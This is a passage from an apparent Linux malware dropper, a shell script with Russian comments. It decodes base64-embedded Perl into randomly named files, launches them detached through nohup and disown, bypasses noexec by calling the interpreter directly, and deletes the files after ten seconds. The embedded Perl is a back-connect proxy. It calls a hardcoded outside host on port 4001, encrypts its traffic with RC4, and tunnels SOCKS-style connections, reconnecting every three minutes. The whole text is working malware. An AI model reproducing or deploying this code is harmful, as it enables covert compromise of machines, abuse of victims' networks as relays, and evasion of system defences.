SArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_83cdd0ee() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODEnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgb